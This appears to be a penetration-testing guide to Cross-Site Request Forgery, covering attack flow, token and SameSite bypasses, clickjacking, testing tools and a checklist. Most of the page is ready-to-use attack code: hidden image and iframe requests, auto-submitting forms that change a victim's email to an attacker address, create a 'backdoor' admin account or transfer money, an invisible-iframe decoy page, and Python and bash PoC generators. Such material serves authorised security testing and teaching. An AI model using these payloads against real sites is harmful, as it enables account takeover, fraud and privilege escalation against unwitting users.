Exploitation A01

Cross-Site Request Forgery (CSRF)

CSRF forces authenticated users to perform unwanted actions on web applications. This guide covers attack vectors, token bypass techniques, and modern defense evasion methods.

Warning

CSRF attacks are "one-shot" - once executed, they can't be undone. Test carefully on non-critical functions first (like email change) rather than destructive actions.

🎯 Why CSRF Still Matters in the SameSite Era

Despite SameSite cookies being the default in modern browsers, CSRF remains a critical vulnerability for several reasons:

  • Legacy Applications: Millions of applications still use SameSite=None or lack the attribute entirely. Many enterprise apps haven't been updated since before 2020.
  • Chrome's 2-Minute Window: Newly-set cookies without SameSite are treated as None for 2 minutes, creating a race condition window for attacks.
  • GET-Based State Changes: SameSite=Lax still allows cookies on top-level GET navigations. Applications with GET-based state changes (logout, delete, transfer) remain fully vulnerable.
  • Subdomain Attacks: If attacker controls a subdomain, they can set cookies for the parent domain, bypassing CSRF token validation in double-submit patterns.
  • Clickjacking Combination: Even with CSRF tokens, clickjacking can trick users into clicking legitimate buttons, achieving the same outcome.
  • OAuth/SSO Flows: Cross-origin redirects in OAuth can be exploited for login CSRF, linking attacker accounts to victim sessions.

Tools & Resources

Burp Suite

Right-click > Engagement Tools > Generate CSRF PoC

Built-in feature

XSRFProbe

Automated CSRF vulnerability scanner

pip install xsrfprobe GitHub →

OWASP CSRFTester

Java-based CSRF testing tool

Java application OWASP →

Bolt

CSRF scanner with token analysis

git clone https://github.com/s0md3v/Bolt GitHub →

CSRF Generator

Online PoC generator tool

Web-based Online Tool →

Cookie Editor

Browser extension to inspect SameSite values

Chrome/Firefox extension

Understanding CSRF

CSRF exploits the trust a website has in a user's browser. When a user is authenticated, their browser automatically includes session cookies with every request. An attacker can craft a malicious page that triggers requests to the target site.

Attack Flow

  1. Victim is authenticated to target.com (has valid session cookie)
  2. Attacker sends victim a link to attacker.com/malicious.html
  3. Malicious page contains hidden form/request to target.com
  4. Browser automatically includes victim's cookies with request
  5. Target.com processes request as legitimate (changes password, transfers money, etc.)

CSRF Prerequisites

  • Relevant action exists - Password change, email update, fund transfer, etc.
  • Cookie-based sessions - Authentication relies on cookies automatically sent
  • No unpredictable parameters - No CSRF token or other validation

Basic CSRF Attacks

GET Request CSRF

Simplest form - state-changing action via GET (bad practice but common):

html
<!-- Image tag - request fires automatically when page loads -->
<img src="https://target.com/transfer?to=attacker&amount=1000" width="0" height="0">

<!-- Link (requires click) -->
<a href="https://target.com/delete-account">Click for free prize!</a>

<!-- Iframe - hidden request -->
<iframe src="https://target.com/change-email?email=attacker@evil.com" style="display:none"></iframe>

<!-- Multiple actions -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">

POST Request CSRF

Auto-submitting form for POST requests:

html
<html>
<body onload="document.getElementById('csrf-form').submit()">
  <form id="csrf-form" action="https://target.com/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="confirm" value="1">
  </form>
</body>
</html>

CSRF with XSS Trigger

html
<!-- Trigger form submit via image error -->
<form id="csrf" action="https://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
</form>
<img src="x" onerror="document.getElementById('csrf').submit()">

<!-- Or via script -->
<form id="csrf" action="https://target.com/admin/add-user" method="POST">
  <input type="hidden" name="username" value="backdoor">
  <input type="hidden" name="password" value="backdoor123">
  <input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>

JSON-Based CSRF

Modern APIs often expect JSON bodies. Standard HTML forms can't send JSON, but there are techniques to exploit CSRF on JSON endpoints.

Method 1: Fetch API (if CORS allows)

html
<script>
fetch('https://target.com/api/change-email', {
    method: 'POST',
    credentials: 'include',  // Include cookies
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        email: 'attacker@evil.com'
    })
});
</script>

Information

Note: This only works if CORS allows the origin or if credentials mode permits it. Most sites block cross-origin requests with credentials.

Method 2: Form with JSON in Parameter

html
<!-- If server accepts form data AND parses it as JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore_me":"' value='"}' type="hidden">
</form>

<!-- Results in body: {"email":"attacker@evil.com","ignore_me":"="} -->

Method 3: Flash-Based (Legacy)

actionscript
// Flash could send custom Content-Type headers
// Now mostly obsolete but some old apps still vulnerable

// ActionScript payload:
var request:URLRequest = new URLRequest("https://target.com/api/update");
request.method = URLRequestMethod.POST;
request.data = '{"email":"attacker@evil.com"}';
request.contentType = "application/json";
navigateToURL(request);

CSRF Token Bypass Techniques

1. Remove Token Entirely

http
# Original request with token
POST /change-email HTTP/1.1
email=test@test.com&csrf_token=abc123

# Test without token - server might not validate if missing
POST /change-email HTTP/1.1
email=attacker@evil.com

2. Empty Token Value

http
# Some implementations only check if parameter exists
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=

# Or with empty string
csrf_token=""

3. Use Another User's Token

html
# If tokens aren't tied to sessions, attacker's own token might work
# Step 1: Get your own valid token
# Step 2: Use it in attack payload

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="ATTACKERS_OWN_VALID_TOKEN">
</form>

4. Method Override

http
# If POST requires token but GET doesn't
# Change method via parameter override
POST /change-email HTTP/1.1
_method=GET&email=attacker@evil.com

# Or via header
X-HTTP-Method-Override: GET

5. Token in Cookie (Double Submit)

html
# If token is just compared between cookie and parameter
# And you can set cookies (via XSS or subdomain)

# Inject your own matching pair:
document.cookie = "csrf_token=attacker_value; domain=.target.com";

<form action="https://target.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf_token" value="attacker_value">
</form>

6. Token Leakage via Referer

http
# If token is in URL and Referer header isn't stripped
# Link to external site leaks token

https://target.com/settings?csrf_token=abc123

# User clicks external link, Referer header sent:
Referer: https://target.com/settings?csrf_token=abc123

# Attacker captures token from their server logs

SameSite Cookie Bypass

SameSite cookie attribute is modern CSRF defense. But misconfigurations and edge cases still allow attacks.

SameSite Modes

Strict

Cookie never sent cross-site. Best protection but can break UX.

Lax (Default)

Cookie sent with top-level GET navigations. Blocks POST CSRF.

None

Cookie always sent. Requires Secure flag. Fully vulnerable to CSRF.

Bypassing SameSite=Lax

html
# Lax allows cookies on top-level GET navigation
# If state change possible via GET:

<!-- Top-level navigation via window.open -->
<script>
window.open('https://target.com/change-email?email=attacker@evil.com');
</script>

<!-- Or via link click -->
<a href="https://target.com/delete-account">Click me!</a>

<!-- Or via form with GET -->
<form action="https://target.com/transfer" method="GET">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
  <input type="submit" value="Click for free money!">
</form>

2-Minute Lax Bypass (Chrome)

text
# Chrome has 2-minute window for cookies without SameSite set
# During this window, they're treated as None, not Lax

# If user just got new session cookie (login, OAuth redirect):
# You have ~2 minutes for traditional CSRF to work

# Practical exploitation:
1. Get victim to login (via OAuth, etc.)
2. Immediately redirect to CSRF page
3. Attack works within 2-minute window

Clickjacking + CSRF Combo

When CSRF defenses exist but clickjacking is possible, overlay a malicious page over the legitimate one to trick users into clicking real buttons.

html
<html>
<head>
  <style>
    #target-frame {
      position: absolute;
      top: 100px;
      left: 100px;
      width: 500px;
      height: 300px;
      opacity: 0.0001;  /* Nearly invisible */
      z-index: 2;
    }
    #decoy {
      position: absolute;
      top: 130px;
      left: 160px;
      z-index: 1;
    }
  </style>
</head>
<body>
  <h1>Win a Free iPhone!</h1>
  <button id="decoy">Click Here to Claim!</button>
  
  <!-- Invisible iframe positioned so delete button aligns with decoy -->
  <iframe id="target-frame" src="https://target.com/account/settings"></iframe>
</body>
</html>

Tip

Tip: Check X-Frame-Options and CSP frame-ancestors. If missing or misconfigured, clickjacking is possible even with CSRF tokens.

Automation & Tools

Python CSRF PoC Generator

python
#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse

def generate_csrf_poc(method, url, params, auto_submit=True):
    """Generate CSRF PoC HTML"""
    parsed = urlparse.urlparse(url)
    
    html = f'''<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form id="csrf-form" action="{url}" method="{method}">
'''
    
    for key, value in params.items():
        html += f'        <input type="hidden" name="{key}" value="{value}">\n'
    
    html += '        <input type="submit" value="Submit">
    </form>
'
    
    if auto_submit:
        html += '''    <script>
        document.getElementById('csrf-form').submit();
    </script>
'''
    
    html += '</body>
</html>'
    return html

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Generate CSRF PoC')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-m', '--method', default='POST', help='HTTP method')
    parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
    parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
    
    args = parser.parse_args()
    
    # Parse POST data
    params = dict(urlparse.parse_qsl(args.data))
    
    poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
    
    # Save to file
    filename = 'csrf_poc.html'
    with open(filename, 'w') as f:
        f.write(poc)
    
    print(f"[+] CSRF PoC saved to {filename}")
    print(f"[+] Target: {args.url}")
    print(f"[+] Method: {args.method}")
    print(f"[+] Parameters: {params}")

Burp Suite CSRF PoC

text
# In Burp Suite:
# 1. Right-click on request in Proxy/Repeater
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to verify
# 4. Copy HTML for report

# Manual request modification for testing:
# 1. Send request to Repeater
# 2. Remove CSRF token parameter
# 3. Send - check if action still succeeds
# 4. Try empty token value
# 5. Try token from different session

Bash - Quick CSRF Test

bash
#!/bin/bash
# Test if endpoint is vulnerable to CSRF

TARGET_URL="$1"
COOKIES="$2"

if [ -z "$TARGET_URL" ]; then
    echo "Usage: $0 <url> [cookies]"
    exit 1
fi

echo "[*] Testing CSRF on: $TARGET_URL"

# Test 1: Request without referer/origin
echo "[*] Test 1: No Referer/Origin headers"
curl -X POST "$TARGET_URL"     -H "Cookie: $COOKIES"     -d "email=test@test.com"     -s -o /dev/null -w "Status: %{http_code}\n"

# Test 2: Request with different origin
echo "[*] Test 2: Cross-origin request"
curl -X POST "$TARGET_URL"     -H "Cookie: $COOKIES"     -H "Origin: https://attacker.com"     -H "Referer: https://attacker.com/page"     -d "email=test@test.com"     -s -o /dev/null -w "Status: %{http_code}\n"

echo "[*] If both return 200/302 without error, likely vulnerable"

High-Impact CSRF Targets

Functions to Test

Account Takeover

  • Email change
  • Password change
  • Add recovery email
  • Link OAuth provider

Financial

  • Money transfer
  • Change billing address
  • Purchase items
  • Subscription changes

Privilege Escalation

  • Create admin user
  • Change user roles
  • Add API keys
  • Modify permissions

Data Manipulation

  • Delete account/data
  • Modify settings
  • Post content as user
  • Approve/reject actions

Practice Labs

Information

Reporting Tip: For CSRF findings, always provide working PoC HTML, explain the impact, and suggest remediation (CSRF tokens, SameSite cookies, etc.).

CSRF Testing Checklist

🔍 Initial Assessment

  • ☐ Identify state-changing actions (password, email, settings)
  • ☐ Check cookie SameSite attributes via DevTools
  • ☐ Look for CSRF tokens in forms/requests
  • ☐ Check X-Frame-Options for clickjacking combo
  • ☐ Identify GET-based state changes (logout, delete)
  • ☐ Note any CORS configuration

🔓 Token Bypass Tests

  • ☐ Remove token parameter entirely
  • ☐ Submit empty token value
  • ☐ Use token from different session
  • ☐ Try method override (_method=GET)
  • ☐ Change POST to GET
  • ☐ Test token in URL vs body validation

🍪 SameSite Testing

  • ☐ Test cookies without SameSite attribute
  • ☐ Test within 2-minute window after login
  • ☐ Check for GET state changes (Lax bypass)
  • ☐ Test from subdomain (cookie injection)
  • ☐ Verify Secure flag with SameSite=None
  • ☐ Test OAuth/redirect flows for timing

📝 PoC & Validation

  • ☐ Generate working PoC HTML
  • ☐ Test in fresh browser profile
  • ☐ Verify action completes successfully
  • ☐ Test across different browsers
  • ☐ Document victim interaction required
  • ☐ Screenshot before/after state

How to Test for CSRF

Step-by-Step Testing Process

  1. Capture Request: In Burp Suite, perform the action you want to test (e.g., change email). Capture the request in Proxy history.
  2. Analyze Tokens: Look for CSRF tokens, check their length, entropy, and whether they're tied to the session.
  3. Check Cookies: In DevTools Application tab, examine SameSite attribute on session cookies. "Lax" blocks POST but allows GET; "None" is fully vulnerable.
  4. Generate PoC: Right-click the request in Burp → Engagement Tools → Generate CSRF PoC. Click "Test in browser" to verify.
  5. Test Variations: Modify the PoC - remove token, use empty value, try GET method if originally POST.
  6. Cross-Origin Test: Host PoC on different domain (use ngrok or local server). Verify action works cross-origin.
  7. Document Impact: If successful, demonstrate impact (account takeover via email change, admin user creation, etc.)

⚠️ Important: Always test in an isolated browser profile where you're logged into the target. The CSRF PoC page should trigger the action without any user login on that page.

External Resources